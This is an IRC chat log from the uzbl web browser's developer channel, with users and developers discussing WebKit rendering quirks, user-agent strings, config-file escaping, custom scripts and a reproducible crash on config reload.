11:58 < Dieterbe> of course, no config == no bindings
11:58 < krayon> aep: As I said though, you should create on anyway.
11:58 < krayon> Dieterbe: Yeah I though there were a few hardcoded stuff.
11:58 < aep> it works now with the example config
11:58 < aep> kind of
11:58 < krayon> Dieterbe: Having said that, I never tried as the first thing I did was create a massive config :P
11:58 < krayon> aep: Hence why I suggested you create a config first :P
11:59 < aep> aye
12:01 < aep> js errors on stdout? yay
12:03 < aep> wuut dmenu integration? awesome
12:04 < aep> could i get more js debugging?  like ajax requests
12:04 < aep> i really depend on fiebug, unfortunatly i hate firefox
12:05 < krayon> aep: Tell me about it.  I have to allocate over 1gb just for ff :(
12:05 < krayon> aep: Though I don't use it as much now I have uzbl <3
12:05 < aep> 512MB ramdisk :/
12:05 < aep> doesnt help anymore for the latest version though.  its still exhausting the disk although i have .mozilla on ram
12:06 < aep> ouch webkit still fails at rendering half the internet :(
12:06 < aep> i thought it was kindof complete now apple is in the game
12:07 < krayon> Has anyone got the scroll percentage js script working as described?
12:08 < krayon> webkit get's 100% on that acid3 test thing
12:08 < holizz> aep, I haven't noticed many problems with WebKit's rendering.
12:08 < aep> acid is valid html/js
12:08 < aep> the internet is not
12:09 < krayon> aep: Ah, well then I suggest you contact the internet.
12:09 < krayon> :P
12:09 < aep> holizz: i can instantly show a couple
12:09 < holizz> aep, Link me up.
12:09 < aep> myspace.com ?
12:09 < aep> fameous example of horrible html which still works in mainstream browsers
12:10 < aep> heh myspace redirect to mysp mobile with uzbl
12:10 < aep> bastards
12:10 < krayon> aep: You can set your user-agent in the conf
12:10 < aep> aye
12:11 < krayon> I recommend something containing (but not limited to) firefox, gecko, mozilla, ... and the name of every other browser/renderer you can think of.
12:11 < krayon> :P
12:12 < holizz> lol, myspace.com redirects me to their mobile version.
12:15 < aep> yahoo.com is rendered wrong
12:15 < aep> actually 3/4 pages i opened so far are wrong
12:15 < aep> ajax works perfectly though. ff fails at that often
12:17 < aep> one of theses days i'm going to write a parser for mysp that strips all the crap :/
12:17 < holizz> Yahoo renders fine. But it tells me to upgrade my browser.
12:17 < aep> look at the logo above.  it overlaps the menu
12:18 < aep> actually the top menu is at the wrong position
12:19 < krayon> Do you guys get android when you go to myspace.com cause I do
12:19 < aep> http://omploader.org/vMXpwOA
12:19 < krayon> I get "Get the new MySpace app for your Android-powered phone"
12:20 < holizz> uzbl runs on Android?
12:20 < holizz> aep, So basically your argument is that WebKit sucks because it works?
12:21 < krayon> holizz: I guess it's my User-Agent that MySpace is looking at :P
12:21 < krayon> Mine is: Uzbl/42dfc6726218dcfd761bc02e7a90d2e49ed0cdef (X11; U; Linux i686; en-US) Webkit/1.1.6 (A browser built upon the highly renowned web standards compliant and secure Webkit rendering engine that is the heart of several open source web browsers, including Uzbl, Midori and Android Webbrowser)
12:22 < holizz> You have a description of what uzbl is in your UA string?!
12:22 < aep> holizz: i dont care about internet vs w3c. all i want is working websites
12:22 < krayon> It's valid.
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12:22 < krayon> It also has the added bonus of confusing stupid webdev's that try to parse user-agents for strings
12:22 < krayon> Well, more specifically, not just parsing for limitations.
12:23 < holizz> aep, gb2 Trident then.
12:23 < aep> what?
12:24 < holizz> gb2 stands for "go back to". If you like Web sites rendering as they were intended, Trident would suit you best.
12:24 < aep> well it doesnt
12:25 < aep> ff and opera are the only browsers doing it right
12:25 < krayon> where "right" is relative.
12:25 < krayon> :)
12:26 < holizz> aep, You mean they try to render things like Trident would?
12:26 < aep> it is.  if you only browse compliant websites, good for you
12:26 < aep> holizz: dunno, i'd guess thats what they do in quirks mode, yeah
12:27 < aep> but i really have no clue.  it just works
12:27 < krayon> IMHO people's continued support of non-correct pages is why they continue to exist, just my opinion of course.
12:28 < krayon> I prefer not to give my business to such companies etc.
12:28 < aep> then you cant do business with 99% of the world
12:28 < aep> good luck with your lonely cave
12:29 < krayon> aep: I've had no issues thus far ;)
12:30 < holizz> aep, I haven't noticed many Web sites with such terrible bugs that mean I can't browse them with WebKit. Facebook, ATM, is broken, but that's about it.
12:30 < aep> so you dont buy stuff online,  you are not in social networks  (ok, easily disgarded),  you dont look up phone numbers up online,  you dont ...err live?
12:31 < krayon> aep: I do those things yes (well, not so much the social networking etc).  I live on computers etc.
12:32 < aep> i dont know any w3c compliant online shop
12:32 < holizz> aep, I do those things. But most of those activities work fine in WebKit.
12:32 < krayon> Doesn't webkit do non-standard stuff anyway (aftter all, Apple uses it)?
12:32 < aep> yeah they do, because  webkit DOES have a quriks mode
12:33 < aep> you argue against it though
12:33 < krayon> I do yes, but how does that effect your use of it?
12:33 < krayon> I do not represent uzbl or webkit :P
12:34 < aep> well FOSS devs care what the masses want
12:34 < aep> and apparantly they dont want to view invalid websites
12:36 < krayon> But webkit does have a quirks thing or whatever apparently so doesn't that mean it'll work for you?
12:37 < krayon> As holizz said he uses it and only facebook doesn't work that he's experienced.
12:37 < aep> looks like its incomplete :(
12:39 < aep> oh well obviously not your fault
12:39 < aep> a year ago i started contributing testcases to webkit, but they never got fixed
12:40 < aep> for some obscure reason it works fine in safari
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12:45 < krayon> N30N: You wrote that scoll percentage thing yeah? Does it still work as it doesn't seem to for me?
12:46 < N30N> krayon: yep
12:46 < krayon> Hang on I think I just pebkac'd actually
12:47 < aep> eh i just got a good hint from #webkit
12:47 < krayon> Ah. Does it work with scrollwheel?
12:48 < aep> i set the useragent to safari and all sudden alot of sites render properly
12:48 < N30N> krayon: do you have MSG to your title/status_bar ?
12:48 < N30N> krayon: yeah it should do
12:48 < aep> i revoke whatever i said in defense of broken websites
12:49 < krayon> N30N: It appears to work now that I've made my scroll keys call the script as well.
12:50 < krayon> aep: In my experience, some dodgy, moronic webdev's (not that they deserve that title) look for certain keywords in peoples user agents and attempt to do things with them.
12:50 < krayon> I email them when I find them
12:50 < aep> yeah, thats just retarded
12:50 < aep> hah go email yahoo
12:50 < N30N> krayon: did you add it to your load_commit_handler?
12:51 < krayon> N30N: Yeah it's in there.
12:51 < krayon> aep: I have about a 40% success rate in them responding, and about a 2% success rate in them fixing it :P
12:51 < aep> not bad
12:52 < krayon> aep: They usually say "give us your user agent so we can mkae it work"
12:52 < N30N> krayon: you shouldn't have to add it to your scroll binds. maybe the path is not the same?
12:53 < krayon> N30N: But load_commit_handler isn't run every scroll down/up is it?  Does the script not require execution for any given update to occur?
12:54 < krayon> aep: Unfortunately when I recommend they look for bad cases and fail back to sane, correct rendering they usually just ask again for my specific user agent.
12:54 < aep> yeah
12:54 < krayon> aep: It's obviously easier for them to put in a special case for those that contact them than to do the right thing :(
12:54 < aep> thats why i said 99% of the internet is crippled
12:54 < krayon> So I tell them it's seconds since unix epoche | md5sum
12:56 < N30N> krayon: no but on load it adds listeners for scroll, resize etc (if you add it to your binds the files needs to be reloaded every time you scroll)
12:56 < krayon> N30N: Yeah right of course...
12:57 < krayon> N30N: I suspect it's part of my mouse modifications.
12:57 < krayon> Oh no, maybe not...
13:04 < aep> hm is there any way to attach a script to an XHRequest?
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14:36 < bct> Dieterbe, it's just the new syntax.
14:38 < bct> after you merge your status bar will just display literal "KEYCMD", "MSG", etc.
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15:12 < krayon> N30N: Even using the standard uzbl it doesn't seem to work for me :(
15:13 < krayon> when's load-committed fire?
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15:40 < holizz> krayon, After the URI gets set correctly, and before the page loads fully. i.e. Not sure exactly.
15:41 < krayon> hmmm :/
15:41 < holizz> What are you trying to do?
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15:48 < Dieterbe> bct: roger. i plan to diff/merge from you now + 3 hours. make sure the diff looks good :)
15:49 < krayon> holizz: The js scroll percentage thing doesn't work for me :(
15:50 < holizz> krayon, I've not tried it. Is it a script?
15:50 < errno> a problem with the Display scroll percentage script: console message: undefined @3: ReferenceError: Can't find variable: Uzbl
15:50 < krayon> holizz: http://www.uzbl.org/wiki/scroll-percentage
16:02 < holizz> krayon, I like the look of that. I'll give it a shot once I'm done with the favicon.
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16:09 < holizz> Who was complaining about whitespace yesterday? Uzbl's own config file is sensitive to the difference between spaces and tabs. "set icon = ..." works, "set\ticon = ..." doesn't. Oh dear.
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16:13 < holizz> Haha. I was about to parse the config file when I realised that I could just do "print @icon" on the socket. Duh.
16:15 < mason-l> holizz, This came as a shock to me, did you know python did this? http://stackoverflow.com/questions/1132941/least-astonishment-in-python-the-mutable-default-argument
16:19 < holizz> mason-l, Wow, that's pretty dire.
16:19 < mason-l> I had no idea about that trap.
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16:21 < holizz> I knew that variables from for loops were still in scope after the for loop ended. So after "for x in [1,2,3]: pass", x == 3.
16:21 < mason-l> Yeah that one is a little more obvious :P
16:22 < mason-l> x retains its last value in the function scope.
16:23 < mason-l> I went an grepped all my past python projects to see how often I had made this mistake and luckily it was only twice.
16:24 < mason-l> 'and
16:24 < mason-l> I'm not sure I would have ever found out myself.
16:24 < mason-l> brb
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16:57 < holizz> It's finished! http://www.uzbl.org/wiki/favicon
16:58 < mason-l> Aww I was looking for that function a while ago: os.makedirs()
16:58 < mason-l> I accidentally wrote my own in uzbl_tabbed.py
16:58 < mason-l> :P
17:01 < holizz> Oops.
17:03 < krayon> history_handler doesn't really need to exist eh.  One could just chain their load_finish_handler
17:04 < holizz> krayon, Good point. I also noticed today that history_handler sends the date to the script. Because we all know how hard it is to run `date`.
17:05 < krayon> :P
17:05 < mason-l> krayon, I hope you dont need to use escaped quotation marks in any of those set chain commands  (see: http://www.uzbl.org/bugs/index.php?do=details&task_id=73 )
17:05 < krayon> it made me assume there was something special going on when really it's just a duplicate function.
17:05 < mason-l> Chain still works in bind commands though.
17:07 < krayon> :S
17:07 < mason-l> Its a bug that is hopefully being looked at.
17:07 < mason-l> No idea who by though.
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18:18 < vu3rdd> hello uzbl hackers. I am a new uzbl user
18:18 < vu3rdd> I installed uzbl from sources on Debian unstable laptop
18:19 < vu3rdd> I am unable to enter anything into forms. I tried ESC and 'i' but whatever is typed is just displayed in the application bar
18:19 < vu3rdd> I mean title bar
18:20 < vu3rdd> the config file is the default one from the examples directory
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18:20 < Dieterbe> holizz> krayon, Good point. I also noticed today that history_handler sends the date to the script. Because we all know how hard it is to run `date`. <-- date of visit != date of script execution. that's the theory however, in practice i think it doesn't matter and you're right
18:20 < krayon> vu3rdd: check to see if it has something assigned to "toggle_insert_mode"
18:21 < vu3rdd> krayon: you mean in the config file?
18:21 < krayon> Dieterbe: The difference would be almost nothing and if you were that concerned ensure the history one is first :P
18:22 < vu3rdd> yes, bind i to toggle_insert mode
18:22 < vu3rdd> and bind I to toggle_insert_mode = 0
18:23 < Dieterbe> krayon: yeah i guess it doesn't matter
18:23 < krayon> vu3rdd: Are you SURE the config is being read?
18:23 < vu3rdd> krayon: let me make sure that.
18:24 < krayon> vu3rdd: The 'i' should work
18:24 < vu3rdd> krayon: I was invoking uzbl with -c -. That was the issue
18:24 < vu3rdd> now it works. Thanks
18:25 < vu3rdd> uzbl is great! Thanks for all the hard work from you guys
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18:42 < Dieterbe> bct: now i'm confused
18:42 < Dieterbe> bct: in readme you say:@(date)@ for expansion @ set time, \@(date)\@ for expansion at update time, and \\\@(date)\\\@ for literal (no expansion)
18:43 < Dieterbe> bct: why the jump from 1 to 3 backslashes? also, in your sampleconfig, you use 2 backslashes o_O
18:47 < aCiD2> Dieterbe: wouldn't you need 1 \ to escape "\" and then one "\" to escape @?
18:47 < aCiD2> just guessing here
18:48 < krayon> yeah that looks like \\\@(date)\\\@ == literal because \\ = \ (escaped) and \@ = @ (escaped)
18:48 < krayon> it's no so much a jump from 1 to 3 as the first being @ escaped, the second being \ and @ escaped
18:49 < Dieterbe> bct: also, why do you remove uranther's test?
18:50 < krayon> *sigh* I really need to finish the move to uzbl... ff just crashed AGAIN
18:50 < uranther> Dieterbe, it was a quick test of functionality and that was not aptly named
18:50 < uranther> -and
18:50 < bct> aCiD2, that's right.
18:50 < Dieterbe> uranther: so you're ok with your test being removed?
18:50 < holizz> krayon, What are you waiting for?
18:50 < bct> Dieterbe, uranther's test depended on expand_template
18:51 < uranther> Dieterbe, yea
18:51 < bct> and the same case (expanding the uri) is tested in test-expand
18:51 < Dieterbe> ok
18:51 < Dieterbe> but still i think there is some stuff wrong in the readme
18:51 < Dieterbe> +    set title_format_short = \\\@(date)\\\@
18:51 < Dieterbe> +    # the title will stay constant as a literal "@(date)@"
18:51 < krayon> As soon as I get over 100 tabs it crashes it would seem
18:52 < krayon> that or much more over 1gb of memory :(
18:52 < Dieterbe> shouldn't this be : ".. constant as literal \@(date)\@" ?
18:52 < Dieterbe> (or alternatively, use only 2 slashes in the first line)
18:53 < krayon> holizz: Um... dunno really, just got side tracked hacking uzbl :P  But now I've got mouse and special chars I think I'm pretty much set
18:53 < bct> Dieterbe, no.
18:53 < bct> set_var_value will expand the variable value once
18:53 < bct> making it \@(data)\@
18:54 < bct> then when update_title is called, it wil be expanded again
18:54 < bct> making the final value @(data)@
18:55 < bct> if you only used 2 slashes, set_var_value would expand it to:
18:55 < bct> \Fri Jul 17 10:24:46 MDT 2009
18:55 < bct> and another \ at the end.
18:55 < krayon> yeah mason-l I meant to mention that to you re: your bug
18:55 < bct> does that make sense?
18:56 < krayon> mason-l: As bct says, set_var_value expands stuff
18:56 < krayon> mason-l: Therefore, you need extra escapes in set vs bind I think.
18:57 < Dieterbe> bct: i think so yes.
18:57 < krayon> holizz: The other thing I'm still doing is trying to make middle click paste in text box, follow link in new window when clicking on a link, or goto url in clipboard when otherwise clicked.
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18:58 < Dieterbe> bct: are you sure about "if you only used 2 slashes, set_var_value would expand it to: \Fri Jul 17 10:24:46 MDT 2009\" ? wouldn't it strip both '\' away so you get @(data)@ which will get expanded when the variable's value is retrieved?
19:02 < ukl> hmm. has anybody noticed "surf" from suckless.org?  It kind of seems similar to uzbl.
19:03 < bct> if you only use 2 slashes then the expansion that set_var_value does won't treat the @s as escaped, right?
19:03 < bct> it's like if you want a literal \" in a C string
19:03 < bct> your string needs to look like "\\\""
19:03 < bct> if you only did "\\"" then the " wouldn't be escaped and you'd have unbalanced quotes.
19:04 < Dieterbe> ukl: it's inspired by uzbl. they liked some ideas of uzbl but thought it was too bloated, so they started their own project
19:05 < ukl> Dieterbe: interesting. I'm wondering why this isn't mentioned anywhere, tho
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19:08 < holizz> Wow. How many uzbl clones are there?
19:08 < Dieterbe> it's not a uzbl clone
19:08 < Dieterbe> they wanted something more minimalistic
19:09 < holizz> Okay. How many uzbl-inspired projects are there?
19:09 < Dieterbe> just surf, i think
19:09 < Dieterbe> oh and your pyuzbl :)
19:09 < Dieterbe> that was you, right?
19:09 < holizz> It was me.
19:09 < aCiD2> How do you get more minimal and still usable o.O
19:09 < holizz> aCiD2, Implement the functionality in the config file.
19:10 < Dieterbe> ah crap, here we go again ;)
19:10 < aCiD2> lolo
19:10 < Dieterbe> bct: it's cool how keycmd is now a variable the user has r/w access to :))
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19:11 < bct> mmm-hmm. i wasn't sure if you wanted to get rid of the keycmd command too
19:11 < bct> i couldn't think of a good way to replace keycmd_nl and keycmd_bs
19:12 < Dieterbe> they are not that pretty, but the simplest way to do it i think
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19:16 < bct> before i forget, last night joyfulgirl suggested renaming @NAME to @IDENTIFIER or @INSTANCE_ID, since "name" is a bit vague
19:16 < bct> it would make sense to do it at the same time as this merge since people will need to change their configs anyhow
19:18 < Dieterbe> bct: what about just id ?
19:18 < bct> that would be good.
19:19 < Dieterbe> bct: in set_var_value you added: if(!c->writeable) return TRUE;
19:19 < Dieterbe> bct: why not return FALSE? if someone tries to update a constant i think we should return false
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19:20 < bct> the return value of set_var_value is never actually used iirc
19:21 < bct> but yes, that would be better.
19:21 < Dieterbe> bct: i'll adjust that while merging
19:22 < bct> ok
19:23 < krayon> Why is the status bar thingy an entry box since it does accept entry ... sort of
19:23 < krayon> although I guess it's more of a command output than a text input... just means you can't easily edit uris in it etc
19:24 < Dieterbe> krayon: uhm? what exactly is your question?
19:24 < krayon> :
19:24 < krayon> :P
19:25 < krayon> You can't interact with the URL you are typing in.  If it were an entry box, you could.
19:25 < krayon> As I said though I guess the idea is you don't enter URLs into it.
19:26 < Rodya> i've always thought of it like the command entry in vi(m)
19:26 < Dieterbe> krayon: what do you mean "interact with the url" ?? do you mean clicking with your mouse in it to set the cursor at specific location?
19:26 < krayon> Rodya: Yes but you CAN interact with the command enttry in vim
19:26 < Rodya> oh, i should learn how to do that >.>
19:27 < krayon> Dieterbe: I mean you can move along the input and change things, you can click with the mouse to position, you can middle click to paste into it etc etc
19:28 < krayon> Dieterbe: I believe the standard gtk_entry facilitates all that ... but it would mean it'd be a text entry box and NOT simply a command output.
19:29 < Dieterbe> krayon: yep. but those gtk widgets are ugly and you can't do fancy markup like you can do now.  however, if you know a good library (like readline ,but much less bloated) to use for such things, i would like to use that
19:29 < Dieterbe> i also think we should have better editing in the statusbar, but i just know no good way yet
19:29 < krayon> I guess one could say my use of it is incorrect however as I currently do things like: "og awesome stuff" for a google search
19:29 < krayon> It's annoying that I can't paste into it after the "og"
19:30 < Dieterbe> krayon: you can paste.. press shift+insert
19:30 < krayon> Dieterbe: No I mean from the mouse clipboard or whatever.  You know, highlight then middle-click
19:30 < Dieterbe> krayon: in the sampleconfig you can even do "uri = <url from clipboard here>" by just pressing 'p'
19:30 < krayon> "Unix copy/paste" or whatever people call it.
19:31 < Dieterbe> i just use the primary selection buffer, it's easier
19:31 < Dieterbe> maybe there's a shortcut to paste secondary.. not sure
19:32 < Rodya> Dieterbe, there's a list of alternatives to readline at the end of its wikipedia article
19:32 < krayon> Another option is I make: "o" bring up a gtk dialog of some kind that I can then enter urls etc and shortcuts etc and get it to pass back through the fifo
19:32 < krayon> Dieterbe: gtk_entry seems fine no?
19:33 < Rodya> krayon, you can implement that with a bash script and zenity pretty  easily http://library.gnome.org/users/zenity/stable/zenity-text-entry-options.html.en
19:33 < krayon> Rodya: Yeah that's what I was thinking too.  Although it does mean installing that zenity thing :P
19:34 < Rodya> its not so bad =P
19:35 < Dieterbe> zenity is useful for a lot of things, i use it in several scripts (also non-uzbl related)
19:35 < krayon> True enough.  Although if the plan is to have an "proper" entry anyway...
19:35 < Dieterbe> you can wait for a loong time :)
19:35 < krayon> Dieterbe: Anything I write is usually cmdline driven :P
19:35 < krayon> Dieterbe: I'll do it.
19:36 < Dieterbe> i also did a feature request to the guy who make the dmenu-vertical patch, to have better editing support (copypaste and such)
19:36 < krayon> Well, I'll try it with a simple gtk_entry anyway....
19:37 < krayon> Dieterbe: Did you see on aur I sed hack'd the dmenu-vertical package so you can install alongside dmenu :P  Ugly but works for me.
19:37 < krayon> I found out afterwards actually that it doesn't use the calling name for help display etc so it still shows as "dmenu".
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20:28 < ruskie> krayon, take a look at gtk-server more advanced than zenity
20:29 < uranther> GTK-server looks pretty cool..
20:29 < krayon> ruskie: sweeeet ... although I already integrated a gtkentry into uzbl so don't need it so much now :P
20:38 < ruskie> I wonder if that gtkentry will be pulled in upstream
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20:47 < krayon> only drawback is... it's white background :(
20:48 < ruskie> it should be taking the gtk theme stuff shouldn't it?
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20:49 < ruskie> still think that an external script can do this just fine :)
20:49 < krayon> ruskie: Yeah I guess it is... but it makes it start out slightly on the status bar :P
20:50 < krayon> ruskie: I agree that maybe external is fine, atm it's optional at compile time via #if defined() :P
20:50 < ruskie> :)
20:50 < krayon> ruskie: I haven't decided myself if I'll use it
20:50 < krayon> Just thought I'd do it and see
20:50 < krayon> try both you know
20:50 < ruskie> I already have a basic script based ugoto but need to add a GUI on top and some supporting functions like add bookmark and such
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20:51 < ruskie> and of course a way to have the GUI tell uzbl back what to do.. open in new tab or direct etc...
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20:52 < krayon> ruskie: That's easy enough
20:52 < krayon> You make it from the original spawn
20:52 < Tv> i can't get uzbl to compile, i get
20:52 < Tv> uzbl.h:83: error: expected specifier-qualifier-list before ‘WebKitWebInspector’
20:52 < Tv> etc
20:52 < ruskie> what webkit version?
20:52 < Tv> 1.0.1-4 from ubuntu
20:53 < ruskie> upgrade do 1.1.10 iirc is the minimal
20:53 < ruskie> or maybe even later
20:53 < Tv> not yet available as a deb :(
20:53 < ruskie> I think it's mentioned someplace
20:53 < Tv> didn't stumble on it
20:53 < Tv> thanks anyway
20:53 < krayon> ruskie: bind o = openurl.sh -curwin ; bind to = openurl.sh -newwin ; bind O = openurl.sh -curwin EXIST_URL etc etc
20:54 < krayon> ruskie: Then, when the script has to pass back to fifo it'll know what to do with the url.
20:54 < ruskie> I didn't really think of having multiple binds
20:54 < ruskie> a single one and then decide in the GUI what to do
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20:54 < krayon> ruskie: If you use multiple binds the dialog knows at spawn time what you want done with the URL
20:55 < krayon> ruskie: Otherwise, how would you decide in the gui? (I suppose a prefix/suffix or something)
20:55 < krayon> Anthing like a radio or checkbox etc would be MUCH too slow
20:55  * krayon neeeeds SPEEEEED ;)
20:56 < krayon> sweet the entry box seems to work.
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20:57 < krayon> http://www.datapax.com.au/upload/files/uzbl-gtkentry01.mpg
20:58 < Dieterbe> lol
20:59 < krayon> :P
21:01 < holizz> I like the look of that. Would it be possible to replace the mainbar Label with an Entry?
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21:03 < ruskie> I don't get the purpose of that entrybox
21:03 < ruskie> krayon, no something like ctrl+enter would open in new tab else normal
21:03 < krayon> It has the advantage of allowing for advanced modification WHEN FOCUSED but not messing with the key presses otherwise
21:03 < krayon> ruskie: Oh yeah, that'd work too.
21:03 < uranther> krayon, that's nifty
21:04 < krayon> ruskie: Although you'd still probably want multiple binds for things like open a URL based on existing
21:04 < ruskie> nope
21:04 < ruskie> double bind of the same bind... one in uzbl the other in the location entry
21:05 < krayon> ruskie: I don't get ya, what do you mean?
21:06 < ruskie> if ctrl+i opens it in uzbl it would open it with the current url.. then hit ctrl+i again with the focus on the entry and it wipes it
21:06 < krayon> ah... simple but effective ;)
21:07 < ruskie> yup
21:07 < krayon> And as you're fingers are already in position, a double press is much cheaper
21:07 < ruskie> or store current url in a secondary clipboard and make it easy to paste it in :)
21:08 < krayon> ruskie: Yeah I thought of that but there's no way of knowing at design time what you may have stored in there that you may want to paste into your lil' box
21:08 < krayon> I like the double-key thing though :P
21:08 < ruskie> of course it'll take me to get all this working since I tend to think a lot code little
21:09 < ruskie> and atm my cookie handler is a higher priority
21:09 < krayon> Well, you need a simple zenity type thing that supports some form of keybindings I guess.
21:10 < ruskie> gtk-server could probably do it... though it lacks a higher level api for something like: create a new window, add this entities on it here and here... one needs to specify every little detail
21:15 < krayon> Hey, aren't most FF add-ons written in JS?
21:15 < krayon> If so, does that mean we could port the few useful ones I wonder :P
21:16 < ruskie> I thought it was XUL
21:16 < krayon> Oh. :(
21:17 < bct> XUL is the interface description language
21:17 < bct> JS defines how it behaves
21:17  * krayon knows about -0.5% about them
21:17 < bct> xul just says "this is a window, put a divider here, put a text box here, put a button here"
21:17 < bct> etc.
21:18 < bct> js says what to do when that button gets pressed.
21:21 < Dieterbe> bct: you've got mail :)
21:22 < bct> yay :)
21:23 < bct> i don't have any other plans to break people's configs.
21:23 < Dieterbe> hehe
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21:52 < holizz> Dieterbe, You don't trust the code for favicon.py being on github...?
21:55 < holizz> It's on the uzbl wiki.
21:57 < Dieterbe> holizz: correct
21:58 < holizz> Do you back the wiki up?
22:01 < Dieterbe> we should
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22:37 < github> uzbl: Dieter Plaetinck experimental SHA1-17f9764
22:37 < github> document fixes + document all variables/constants in readme, so example config can be a bit cleaner
22:37 < github> http://bit.ly/fEAO7
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22:53 < uranther> Dieterbe doing some badass merging lately
22:53 < holizz> !Dieterbe++
22:54 < uranther> good call
22:55 < Dieterbe> :)
22:55 < Dieterbe> hey why doesn't the stupid bot do anything?
22:55  * Dieterbe slaps uzblbot 
22:55 < holizz> !karma
22:55 < uzblbot> holizz: Highest karma: "dieterbe" (2), "dxdx" (1), and "c" (0).  Lowest karma: "ruskie" (-1), "c" (0), and "dxdx" (1).
22:56 < Dieterbe> ah never mind
22:56 < holizz> It amuses me that I know how to work your bot better than you do.
22:56 < Dieterbe> it registers the karma things, but just doesn't reply
22:56 < Dieterbe> what.. it's not because i quickly installed the bot and ran it, that i actually know how it works
22:56 < uranther> what's this: "people who like nothing from this list: mpd, moc, wmii, dwm, awesome, mutt, pine, vim, dmenu, screen, irssi, weechat"
22:57 < uranther> <3 vim and screen
22:57 < Dieterbe> you think it's not clear?
22:57 < krayon> mpd < * :(
22:57 < uranther> Dieterbe, i thought you use awesome?
22:57 < uranther> and dmenu
22:58 < Dieterbe> uranther: no i use wmii
22:58 < uranther> that's in there too
22:58 < uranther> oh wait nvm i got confused
22:58 < Dieterbe> uranther: but that line is in the list of "this browser is _not_ for people who"
22:58 < uranther> you pulled that double negative on me
22:58 < uranther> it's like an SAT test
22:58 < Dieterbe> :P
22:58 < Dieterbe> well you failed
22:58 < Dieterbe> ;)
22:58 < uranther> ):
22:59 < bct> how does weechat compare to irssi/
22:59 < Dieterbe> no idea
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23:01 < uranther> Dieterbe, you merged in holizz's whitespace nuker?
23:01 < krayon> Dieterbe: Include fluxbox in that FAQ you should (re: tabs)
23:01 < uranther> of sorts
23:02 < krayon> Many don't embrace the awesomeness of flux and suffer for it :'(
23:02 < Dieterbe> krayon: you mean in the readme?
23:03 < krayon> um maybe I do.....
23:03 < holizz> uranther, Yeah, that got merged.
23:03 < krayon> No the FAQ has: "No tabs? Why do you need a new window for each page?"
23:05 < krayon> In that section, fluxbox should be mentioned because I know some people who use it but don't realise the power they wield (tabs).
23:05 < krayon> :P
23:05 < uranther> 27 files changed, 955 insertions(+), 744 deletions(-) :D
23:05 < uranther> Dieterbe, merges look good, especially all the new documentation
23:07 < Dieterbe> yeah
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23:08 < github> uzbl: Dieter Plaetinck experimental SHA1-b75848e
23:08 < github> i heard fluxbox supports tabs too
23:08 < github> http://bit.ly/aoBhY
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23:08 < uranther> !holizz++
23:08 < Dieterbe> i'm off to bed. see you tommorow guys
23:08 < uranther> later
23:08 < holizz> Night.
23:08 < holizz> Whoa. Check out the backslash party going on in the new config file.
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23:13 < uranther> ruh roh (uzbl:25846): GLib-CRITICAL **: g_scanner_destroy: assertion `scanner != NULL' failed
23:14 < uranther> goin home, bbl
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23:15 < krayon> holizz: I know yeah :P
23:15 < krayon> Night Dieterbe :)
23:15  * krayon should go to bed too 07:14am
23:19 < bct> holizz: yeah isn't it aw(ful|esome)?
23:20  * holizz shakes head and dreams of the JSON config file
23:20 < bct> you'd have the same problem there
23:20 < bct> you still need some kind of templating
23:21 < krayon> something tells me this'll increase the amount of irc questions :P
23:21 < bct> yeah, no kidding
23:21 < krayon> FWIW I like it, just saying...
23:21 < bct> maybe a preemptive faq would have been a good idea
23:22 < krayon> probably.
23:22 < krayon> what's the dealeo with the '[' and ']'?
23:22 < holizz> I suppose JSON wouldn't solve the backslash problem. But I'd just feel happier with a language with well-defined parsing rules.
23:23 < bct> krayon, those XML escape the things that are expanded inside
23:24 < bct> e.g. if your status format is "<span>@TITLE</span>"
23:24 < bct> and you go to a site that has the title "</span>"
23:24 < krayon> aaaaahhh right got you
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23:36 < krayon> :o
23:36 < holizz> Fixed the bug, BTW.
23:36 < krayon> what's the new_window stuff about?
23:37 < holizz> krayon, That's a handler to open a new window. There's an example in the config.
23:37 < krayon> holizz: why not: spawn uzbl
23:38 < holizz> spawn uzbl would lead to: uzbl /home/holizz/.config/uzbl/config ......, which would attempt to open http:///home/holizz/.config/uzbl/config ;)
23:38 < krayon> bct: Good you put that in btw, or their'd be TITLE insertion exploits against uzbl :P
23:38 < krayon> holizz: I have: bind t = spawn uzbl -u "%s"
23:39 < bct> i don't think there's anything very harmful you could do by injecting into the status bar or title bar
23:39 < bct> but it would sure be annoying
23:40 < bct> same problem if you typed a < and you have KEYCMD in your statusbar
23:40 < holizz> krayon, That binding doesn't seem to do anything useful.
23:40 < krayon> holizz: I've been using it for the last week :/
23:41 < holizz> krayon, What does it do then?
23:41 < bct> one more hour of work, i don't think i'm going to make it :(
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23:41 < krayon> holizz: Opens a URL in a new window
23:41 < krayon> doh
23:41 < krayon> when I said "t" I meant "t_"
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23:42 < holizz> krayon, Ah, that makes sense.
23:42 < krayon> holizz: Alternatively you could use: spawn zenity_script_that_asks_for_an_url
23:42 < holizz> This is weird. When I reload my config, the MODE becomes a random string.
23:43 < holizz> One window has [scroll_vert], and another has [/tmp].
23:43 < bct> um. that's weird.
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23:43 < holizz> bct, Can you reproduce?
23:43 < bct> i'm not at a computer with uzbl right now
23:43 < bct> but i've never seen that before
23:44 < bct> is this a newly recompiled uzbl?
23:44 < uranther> reproduce what?
23:44 < krayon> holizz: So what is the new window thing for?  Does it do anything that you can't do as above?
23:44 < holizz> bct, Yep. Going into insert mode resets MODE, it seems.
23:45 < holizz> krayon, Yeah, you could completely disable opening new windows (and open the links in the same window) - not very useful. But you could have new window open new tabs in uzbl_tabbed.
23:45 < holizz> uranther, holizz> This is weird. When I reload my config, the MODE becomes a random string.
23:46 < uranther> h/o restoring my VM to test
23:46 < krayon> holizz: What I mean is, there's a new_window command it would seem, but one could do the same thing by binding sh url instead no?
23:47 < uranther> holizz, I think I reproduced it.. i get a bunch of Glib errors
23:47 < holizz> krayon, That would be a binding. This is attached to WebKit's webview-create signal, so when WebKit wants a new window, you give it to it however you like.
23:47 < uranther> (uzbl:25939): Gtk-WARNING **: Failed to set text from markup due to error parsing markup
23:48 < uranther> and uzbl WARNINGs of overwriting bindings
23:48 < krayon> holizz: I can reproduce your issue btw
23:48 < krayon> holizz: I get a bind in my MODE
23:48 < krayon> eg Mine says "<MOD4><SUPER>x" which is a bind I have
23:48 < holizz> krayon, Keep trying, you'll get all sorts in there.
23:49 < uranther> lolol and when i try to type commands now, it shows up in the console as more errorz
23:49 < holizz> Oh yes! Segfaulted!
23:49 < uranther> oh can i try?
23:49 < krayon> holizz: Oh right.  So when does webkit ask for new window?.... oh context menus eh?
23:49 < uranther> i wanna write some badass unit tests
23:49 < holizz> I was just reloading. It seems to range from segfault to changing MODE.
